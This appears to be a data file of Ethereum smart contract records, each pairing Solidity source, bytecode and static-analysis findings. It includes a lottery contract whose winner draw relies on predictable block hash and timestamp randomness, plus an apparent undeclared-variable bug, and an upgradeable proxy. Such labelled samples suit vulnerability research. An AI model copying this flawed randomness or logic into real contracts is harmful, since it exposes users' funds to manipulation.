function dividendsForUser(address _user) public view returns (uint) {
return stake[_user].mul(stakeValue).add(dividendCredit[_user]).sub(dividendDebit[_user]);
}
function min(uint x, uint y) private pure returns (uint) {
return x <= y ? x : y;
}
function sqrt(uint x) private pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
// LOTTERY MODULE
// DAILY
uint private dailyPool = 0;
uint private dailyLotteryRound = 1;
uint private dailyTicketsBought = 0;
uint private dailyTicketThatWon;
address[] public dailyWinners;
uint256[] public dailyPots;
// WEEKLY
uint private weeklyPool = 0;
uint private weeklyLotteryRound = 1;
uint private weeklyTicketsBought = 0;
uint private weeklyTicketThatWon;
address[] public weeklyWinners;
uint256[] public weeklyPots;
uint public TICKET_PRICE = 0.01 ether;
uint public DAILY_LIMIT = 0.15 ether;
bool private dailyTicketSelected;
bool private weeklyTicketSelected;
// STRUCTS for LOTTERY
// DAILY
struct dailyTicketPurchases {
dailyTicketPurchase[] ticketsBought;
uint256 numPurchases; // Allows us to reset without clearing dailyTicketPurchase[] (avoids potential for gas limit)
uint256 lotteryId;
uint256 ticketsPurchased;
}
// Allows us to query winner without looping (avoiding potential for gas limit)
struct dailyTicketPurchase {
uint256 startId;
uint256 endId;
}
mapping(address => dailyTicketPurchases) private dailyTicketsBoughtByPlayer;
mapping(uint256 => address[]) private dailyLotteryPlayers;
// WEEKLY
struct weeklyTicketPurchases {
weeklyTicketPurchase[] ticketsBought;
uint256 numPurchases; // Allows us to reset without clearing weeklyTicketPurchase[] (avoids potential for gas limit)
uint256 lotteryId;
uint256 ticketsPurchased;
}
// Allows us to query winner without looping (avoiding potential for gas limit)
struct weeklyTicketPurchase {
uint256 startId;
uint256 endId;
}
mapping(address => weeklyTicketPurchases) private weeklyTicketsBoughtByPlayer;
mapping(uint256 => address[]) private weeklyLotteryPlayers;
// DRAWS
function drawDailyWinner() public {
require(msg.sender == owner);
require(!dailyTicketSelected);
uint256 seed = dailyTicketsBought + block.timestamp;
dailyTicketThatWon = addmod(uint256(block.blockhash(block.number-1)), seed, dailyTicketsBought);
dailyTicketSelected = true;
}
function drawWeeklyWinner() public {
require(msg.sender == owner);
require(!weeklyTicketSelected);
uint256 seed = weeklyTicketsBought + block.timestamp;
weeklyTicketThatWon = addmod(uint256(block.blockhash(block.number-1)), seed, weeklyTicketsBought);
weeklyTicketSelected = true;
}
function awardDailyLottery(address checkWinner, uint256 checkIndex) external {
require(msg.sender == owner);
if (!dailyTicketSelected) {
drawDailyWinner(); // Ideally do it in one call (gas limit cautious)
}
// Reduce gas by (optionally) offering an address to _check_ for winner
if (checkWinner != 0) {
dailyTicketPurchases storage tickets = dailyTicketsBoughtByPlayer[checkWinner];
if (tickets.numPurchases > 0 && checkIndex < tickets.numPurchases && tickets.lotteryId == dailyLotteryRound) {
dailyTicketPurchase storage checkTicket = tickets.ticketsBought[checkIndex];
if (dailyTicketThatWon >= checkTicket.startId && dailyTicketThatWon <= checkTicket.endId) {
if ( dailyPool >= DAILY_LIMIT) {
checkWinner.transfer(DAILY_LIMIT);
dailyPots.push(DAILY_LIMIT);
dailyPool = dailyPool.sub(DAILY_LIMIT);
} else {
checkWinner.transfer(dailyPool);
dailyPots.push(dailyPool);
dailyPool = 0;
}
dailyWinners.push(checkWinner);
dailyLotteryRound = dailyLotteryRound.add(1);
dailyTicketsBought = 0;
dailyTicketSelected = false;
return;
}
}
}
// Otherwise just naively try to find the winner (will work until mass amounts of players)
for (uint256 i = 0; i < dailyLotteryPlayers[dailyLotteryRound].length; i++) {
address player = dailyLotteryPlayers[dailyLotteryRound][i];
dailyTicketPurchases storage playersTickets = dailyTicketsBoughtByPlayer[player];
uint256 endIndex = playersTickets.numPurchases - 1;
// Minor optimization to avoid checking every single player
if (dailyTicketThatWon >= playersTickets.ticketsBought[0].startId && dailyTicketThatWon <= playersTickets.ticketsBought[endIndex].endId) {
for (uint256 j = 0; j < playersTickets.numPurchases; j++) {
dailyTicketPurchase storage playerTicket = playersTickets.ticketsBought[j];
if (dailyTicketThatWon >= playerTicket.startId && dailyTicketThatWon <= playerTicket.endId) {
if ( dailyPool >= DAILY_LIMIT) {
player.transfer(DAILY_LIMIT);
dailyPots.push(DAILY_LIMIT);
dailyPool = dailyPool.sub(DAILY_LIMIT);
} else {
player.transfer(dailyPool);
dailyPots.push(dailyPool);
dailyPool = 0;
}
dailyWinners.push(player);
dailyLotteryRound = dailyLotteryRound.add(1);
dailyTicketsBought = 0;
dailyTicketSelected = false;
return;
}
}
}
}
}
function awardWeeklyLottery(address checkWinner, uint256 checkIndex) external {
require(msg.sender == owner);
if (!weeklyTicketSelected) {
drawWeeklyWinner(); // Ideally do it in one call (gas limit cautious)
}
// Reduce gas by (optionally) offering an address to _check_ for winner
if (checkWinner != 0) {
weeklyTicketPurchases storage tickets = weeklyTicketsBoughtByPlayer[checkWinner];
if (tickets.numPurchases > 0 && checkIndex < tickets.numPurchases && tickets.lotteryId == weeklyLotteryRound) {
weeklyTicketPurchase storage checkTicket = tickets.ticketsBought[checkIndex];
if (weeklyTicketThatWon >= checkTicket.startId && weeklyTicketThatWon <= checkTicket.endId) {
checkWinner.transfer(weeklyPool);
weeklyPots.push(weeklyPool);
weeklyPool = 0;
weeklyWinners.push(player);
weeklyLotteryRound = weeklyLotteryRound.add(1);
weeklyTicketsBought = 0;
weeklyTicketSelected = false;
return;
}
}
}
// Otherwise just naively try to find the winner (will work until mass amounts of players)
for (uint256 i = 0; i < weeklyLotteryPlayers[weeklyLotteryRound].length; i++) {
address player = weeklyLotteryPlayers[weeklyLotteryRound][i];
weeklyTicketPurchases storage playersTickets = weeklyTicketsBoughtByPlayer[player];
uint256 endIndex = playersTickets.numPurchases - 1;
// Minor optimization to avoid checking every single player
if (weeklyTicketThatWon >= playersTickets.ticketsBought[0].startId && weeklyTicketThatWon <= playersTickets.ticketsBought[endIndex].endId) {
for (uint256 j = 0; j < playersTickets.numPurchases; j++) {
weeklyTicketPurchase storage playerTicket = playersTickets.ticketsBought[j];
if (weeklyTicketThatWon >= playerTicket.startId && weeklyTicketThatWon <= playerTicket.endId) {
player.transfer(weeklyPool);
weeklyPots.push(weeklyPool);
weeklyPool = 0;
weeklyWinners.push(player);
weeklyLotteryRound = weeklyLotteryRound.add(1);
weeklyTicketsBought = 0;
weeklyTicketSelected = false;
return;
}
}
}
}
}
function getLotteryData() public view returns( uint256, uint256, uint256, uint256, uint256, uint256) {
return (dailyPool, weeklyPool, dailyLotteryRound, weeklyLotteryRound, dailyTicketsBought, weeklyTicketsBought);
}
function getDailyLotteryParticipants(uint256 _round) public view returns(address[]) {
return dailyLotteryPlayers[_round];
}
function getWeeklyLotteryParticipants(uint256 _round) public view returns(address[]) {
return weeklyLotteryPlayers[_round];
}
function getLotteryWinners() public view returns(uint256, uint256) {
return (dailyWinners.length, weeklyWinners.length);
}
function editDailyLimit(uint _price) public payable {
require(msg.sender == owner);
DAILY_LIMIT = _price;
}
function editTicketPrice(uint _price) public payable {
require(msg.sender == owner);
TICKET_PRICE = _price;
}
function getDailyTickets(address _player) public view returns(uint256) {
dailyTicketPurchases storage dailyPurchases = dailyTicketsBoughtByPlayer[_player];
if (dailyPurchases.lotteryId != dailyLotteryRound) {
return 0;
}
return dailyPurchases.ticketsPurchased;
}
function getWeeklyTickets(address _player) public view returns(uint256) {
weeklyTicketPurchases storage weeklyPurchases = weeklyTicketsBoughtByPlayer[_player];
if (weeklyPurchases.lotteryId != weeklyLotteryRound) {
return 0;
}
return weeklyPurchases.ticketsPurchased;
}
// If someone is generous and wants to add to pool
function addToPool() public payable {
require(msg.value > 0);
uint _lotteryPool = msg.value;
// weekly and daily pool
uint weeklyPoolFee = _lotteryPool.div(5);
uint dailyPoolFee = _lotteryPool.sub(weeklyPoolFee);
weeklyPool = weeklyPool.add(weeklyPoolFee);
dailyPool = dailyPool.add(dailyPoolFee);
}
function winningTickets() public view returns(uint256, uint256) {
return (dailyTicketThatWon, weeklyTicketThatWon);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0x60606040526004361061017f5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630bd18d7a81146101845780631a95f15f146101b55780631cf5a759146101c8578063203985d6146101de578063248ec326146101fd57806326476204146102105780632e1a7d4d1461022f57806347e0d54a1461024757806347e271b8146102725780634e39c22c146102db5780634e71d92d1461030d5780634f3f4211146103205780635592fc711461034257806355e2305e14610355578063794e94341461037457806386be3981146103965780638b0e9f3f146103b5578063904f3d08146103c8578063ab1bef4e146103de578063bbc10e4c146103fd578063c07401f014610413578063d0e30db01461041b578063d23b8f5c14610423578063d65ab5f214610436578063e58f262314610449578063f02f1b6f14610495578063f1208af8146104ab578063f7ee503e146104be578063f9d75f25146104c9578063fdb5a03e146104d4575b600080fd5b341561018f57600080fd5b6101a3600160a060020a03600435166104e7565b60405190815260200160405180910390f35b34156101c057600080fd5b6101a36104f9565b34156101d357600080fd5b6101a36004356104ff565b34156101e957600080fd5b6101a3600160a060020a036004351661051e565b341561020857600080fd5b6101a361055a565b341561021b57600080fd5b6101a3600160a060020a0360043516610560565b341561023a57600080fd5b610245600435610572565b005b341561025257600080fd5b61025a6108b8565b60405191825260208201526040908101905180910390f35b341561027d57600080fd5b6102886004356108c2565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156102c75780820151838201526020016102af565b505050509050019250505060405180910390f35b34156102e657600080fd5b6102f160043561093d565b604051600160a060020a03909116815260200160405180910390f35b341561031857600080fd5b610245610965565b341561032b57600080fd5b610245600160a060020a03600435166024356109e9565b341561034d57600080fd5b61025a610e69565b341561036057600080fd5b610245600160a060020a0360043516610e73565b341561037f57600080fd5b610245600160a060020a0360043516602435610eb5565b34156103a157600080fd5b6101a3600160a060020a03600435166111b4565b34156103c057600080fd5b6101a3611211565b34156103d357600080fd5b6101a3600435611217565b34156103e957600080fd5b6101a3600160a060020a0360043516611225565b341561040857600080fd5b6102f1600435611253565b610245611261565b6102456112cc565b341561042e57600080fd5b61024561134f565b341561044157600080fd5b6102456113a7565b341561045457600080fd5b61045c6113d1565b60405180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390f35b34156104a057600080fd5b6102886004356113eb565b34156104b657600080fd5b610245611464565b6102456004356114c3565b6102456004356114e3565b34156104df57600080fd5b610245611503565b60036020526000908152604090205481565b60155481565b600e80548290811061050d57fe5b600091825260209091200154905081565b600160a060020a0381166000908152601a6020526040812060105460028201541461054c5760009150610554565b806003015491505b50919050565b60165481565b60046020526000908152604090205481565b60008080808080808080891161058757600080fd5b600160a060020a0333166000908152600360205260409020548911156105ac57600080fd5b6105bd89600563ffffffff61155f16565b97506105d089601463ffffffff61155f16565b96506105f2876105e68b8b63ffffffff61157416565b9063ffffffff61157416565b955061060587601463ffffffff61155f16565b9450610617878663ffffffff61157416565b600f5490945061062d908663ffffffff61158616565b600f55600954610643908563ffffffff61158616565b600955600160a060020a03331660009081526003602090815260408083205460049092529091205461068c9190610680908c63ffffffff6115a016565b9063ffffffff61155f16565b92506106a3600654846115a090919063ffffffff16565b600160a060020a0333166000908152600360205260409020549092506106cf908a63ffffffff61157416565b600160a060020a033316600090815260036020908152604080832093909355600490522054610704908463ffffffff61157416565b600160a060020a033316600090815260046020526040902055600554610730908463ffffffff61157416565b60058190556000901115610769576107656107566005548a61155f90919063ffffffff16565b6006549063ffffffff61158616565b6006555b600160a060020a033316600090815260076020526040902054610792908363ffffffff61158616565b600160a060020a033316600090815260076020908152604080832084905560089091529020546107c291906115cb565b600160a060020a0333166000908152600760205260409020549091506107ee908263ffffffff61157416565b600160a060020a033316600090815260076020908152604080832093909355600890522054610823908263ffffffff61157416565b600160a060020a03331660008181526008602052604090819020929092559087156108fc0290889051600060405180830381858888f19350505050151561086957600080fd5b7f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364338a604051600160a060020a03909216825260208201526040908101905180910390a1505050505050505050565b600c546012549091565b6108ca611add565b601b600083815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561093157602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610913575b50505050509050919050565b601380548290811061094b57fe5b600091825260209091200154600160a060020a0316905081565b600061096f6115e4565b9050600160a060020a03331681156108fc0282604051600060405180830381858888f1935050505015156109a257600080fd5b7f47cee97cb7acd717b3c0aa1435d004cd5b3c8c57d70dbceb4e4458bbd60e39d43382604051600160a060020a03909216825260208201526040908101905180910390a150565b60008054819081908190819081908190819033600160a060020a03908116911614610a1357600080fd5b60175460ff161515610a2757610a2761134f565b600160a060020a038a1615610c0257600160a060020a038a1660009081526018602052604081206001810154909950118015610a665750876001015489105b8015610a775750600a548860020154145b15610c0257875488908a908110610a8a57fe5b906000526020600020906002020196508660000154600c5410158015610ab657508660010154600c5411155b15610c025760165460095410610b3a5789600160a060020a03166108fc6016549081150290604051600060405180830381858888f193505050501515610afb57600080fd5b600e805460018101610b0d8382611aef565b50600091825260209091206016549101819055600954610b329163ffffffff61157416565b600955610b99565b89600160a060020a03166108fc6009549081150290604051600060405180830381858888f193505050501515610b6f57600080fd5b600e805460018101610b818382611aef565b50600091825260208220600980549290910191909155555b600d805460018101610bab8382611aef565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038c16179055600a54610beb906001611586565b600a556000600b556017805460ff19169055610e5d565b600095505b600a54600090815260196020526040902054861015610e5d57600a546000908152601960205260409020805487908110610c3d57fe5b6000918252602080832090910154600160a060020a0316808352601890915260408220600181015481549298509096506000190194508591908110610c7e57fe5b906000526020600020906002020160000154600c5410158015610cc257508354849084908110610caa57fe5b906000526020600020906002020160010154600c5411155b15610e5257600091505b8360010154821015610e52578354849083908110610ce657fe5b906000526020600020906002020190508060000154600c5410158015610d1257508060010154600c5411155b15610e475760165460095410610d965784600160a060020a03166108fc6016549081150290604051600060405180830381858888f193505050501515610d5757600080fd5b600e805460018101610d698382611aef565b50600091825260209091206016549101819055600954610d8e9163ffffffff61157416565b600955610df5565b84600160a060020a03166108fc6009549081150290604051600060405180830381858888f193505050501515610dcb57600080fd5b600e805460018101610ddd8382611aef565b50600091825260208220600980549290910191909155555b600d805460018101610e078382611aef565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038716179055600a54610beb906001611586565b600190910190610ccc565b600190950194610c07565b50505050505050505050565b600d546013549091565b60005433600160a060020a03908116911614610e8e57600080fd5b600160a060020a03166000908152600160208190526040909120805460ff19169091179055565b60008054819081908190819081908190819033600160a060020a03908116911614610edf57600080fd5b601754610100900460ff161515610ef857610ef8611464565b600160a060020a038a161561105457600160a060020a038a166000908152601a602052604081206001810154909950118015610f375750876001015489105b8015610f4857506010548860020154145b1561105457875488908a908110610f5b57fe5b90600052602060002090600202019650866000015460125410158015610f875750866001015460125411155b156110545789600160a060020a03166108fc600f549081150290604051600060405180830381858888f193505050501515610fc157600080fd5b6014805460018101610fd38382611aef565b50600091825260208220600f80549290910191909155556013805460018101610ffc8382611aef565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03871617905560105461103c906001611586565b60105560006011556017805461ff0019169055610e5d565b600095505b6010546000908152601b6020526040902054861015610e5d576010546000908152601b6020526040902080548790811061108f57fe5b6000918252602080832090910154600160a060020a0316808352601a909152604082206001810154815492985090965060001901945085919081106110d057fe5b90600052602060002090600202016000015460125410158015611114575083548490849081106110fc57fe5b90600052602060002090600202016001015460125411155b156111a957600091505b83600101548210156111a957835484908390811061113857fe5b906000526020600020906002020190508060000154601254101580156111645750806001015460125411155b1561119e5784600160a060020a03166108fc600f549081150290604051600060405180830381858888f193505050501515610fc157600080fd5b60019091019061111e565b600190950194611059565b600160a060020a038116600090815260086020908152604080832054600783528184205460065460049094529184205461120b9391926105e69290916111ff9163ffffffff6115a016565b9063ffffffff61158616565b92915050565b60055481565b601480548290811061050d57fe5b600160a060020a0381166000908152601860205260408120600a5460028201541461054c5760009150610554565b600d80548290811061094b57fe5b600080803481901161127257600080fd5b34925061128683600563ffffffff61155f16565b9150611298838363ffffffff61157416565b600f549091506112ae908363ffffffff61158616565b600f556009546112c4908263ffffffff61158616565b600955505050565b600160a060020a03331660009081526001602052604090205460ff16806112f5575060025460ff165b151561130057600080fd5b61130934611682565b7fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3334604051600160a060020a03909216825260208201526040908101905180910390a1565b6000805433600160a060020a0390811691161461136b57600080fd5b60175460ff161561137b57600080fd5b50600b544281019080151561138c57fe5b8160001943014008600c55506017805460ff19166001179055565b60005433600160a060020a039081169116146113c257600080fd5b6002805460ff19166001179055565b600954600f54600a54601054600b54601154909192939495565b6113f3611add565b6019600083815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561093157602002820191906000526020600020908154600160a060020a031681526001909101906020018083116109135750505050509050919050565b6000805433600160a060020a0390811691161461148057600080fd5b601754610100900460ff161561149557600080fd5b50601154428101908015156114a657fe5b8160001943014008601255506017805461ff001916610100179055565b60005433600160a060020a039081169116146114de57600080fd5b601555565b60005433600160a060020a039081169116146114fe57600080fd5b601655565b600061150d6115e4565b905061151881611682565b7fbd654390d0d973e8c8376ed6053be8658870df892687852cc5c914d700291b873382604051600160a060020a03909216825260208201526040908101905180910390a150565b6000818381151561156c57fe5b049392505050565b60008282111561158057fe5b50900390565b60008282018381101561159557fe5b8091505b5092915050565b6000808315156115b35760009150611599565b508282028284828115156115c357fe5b041461159557fe5b6000818311156115db57816115dd565b825b9392505050565b600654600160a060020a033316600090815260046020526040812054909182918291611616919063ffffffff6115a016565b600160a060020a033316600090815260086020908152604080832054600790925290912054919350611653916105e690859063ffffffff61158616565b33600160a060020a03166000908152600760209081526040808320839055600890915290209290925550919050565b60008080808080808080808a1161169857600080fd5b6116a98a600563ffffffff61155f16565b98506116bc8a601463ffffffff61155f16565b97506116d2886105e68c8c63ffffffff61157416565b96506116e588600563ffffffff61155f16565b95506116f7888763ffffffff61157416565b945061170e6015548b61155f90919063ffffffff16565b600f54909450611724908763ffffffff61158616565b600f5560095461173a908663ffffffff61158616565b600955600160a060020a0333166000908152601860205260409020600a546002820154919450146117cf576000600180850182905560038501829055600a546002860181905582526019602052604090912080549091810161179c8382611aef565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03161790555b8254600184015414156117ed5782546001016117eb8482611b18565b505b60408051908101604052600b5480825285016000190160208201526001848101805491820190558454859190811061182157fe5b90600052602060002090600202016000820151815560208201516001909101555060038301805485019055600b805485019055600160a060020a0333166000908152601a602052604090206010546002820154919350146118e6576000600180840182905560038401829055601054600285018190558252601b60205260409091208054909181016118b38382611aef565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03161790555b8154600183015414156119045781546001016119028382611b18565b505b6040805190810160405260115480825285016000190160208201526001838101805491820190558354849190811061193857fe5b90600052602060002090600202016000820151815560208201516001909101555060038201805485019055601180548501905560055460009011156119935761198f6107566005548b61155f90919063ffffffff16565b6006555b6005546119b6906105e66119b18a6111ff848063ffffffff6115a016565b611aa8565b600160a060020a0333166000908152600360205260409020549091506119e2908863ffffffff61158616565b600160a060020a033316600090815260036020908152604080832093909355600490522054611a17908263ffffffff61158616565b600160a060020a033316600090815260046020526040902055600554611a43908263ffffffff61158616565b600555600654611a8390611a5e90839063ffffffff6115a016565b600160a060020a0333166000908152600860205260409020549063ffffffff61158616565b600160a060020a03331660009081526008602052604090205550505050505050505050565b80600260018201045b81811015610554578091506002818285811515611aca57fe5b0401811515611ad557fe5b049050611ab1565b60206040519081016040526000815290565b815481835581811511611b1357600083815260209020611b13918101908301611b44565b505050565b815481835581811511611b1357600202816002028360005260206000209182019101611b139190611b65565b611b6291905b80821115611b5e5760008155600101611b4a565b5090565b90565b611b6291905b80821115611b5e5760008082556001820155600201611b6b5600a165627a7a72305820564aa985548b019b3f50cb415f6e03ecdeb2c26663f06e8dfa20307980eb96a90029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 803 |
0x8a8ffec8f4a0c8c9585da95d9d97e8cd6de273de | /**
*Submitted for verification at Etherscan.io on 2021-04-10
*/
/**
*Submitted for verification at BscScan.com on 2021-03-08
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
} | 0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc61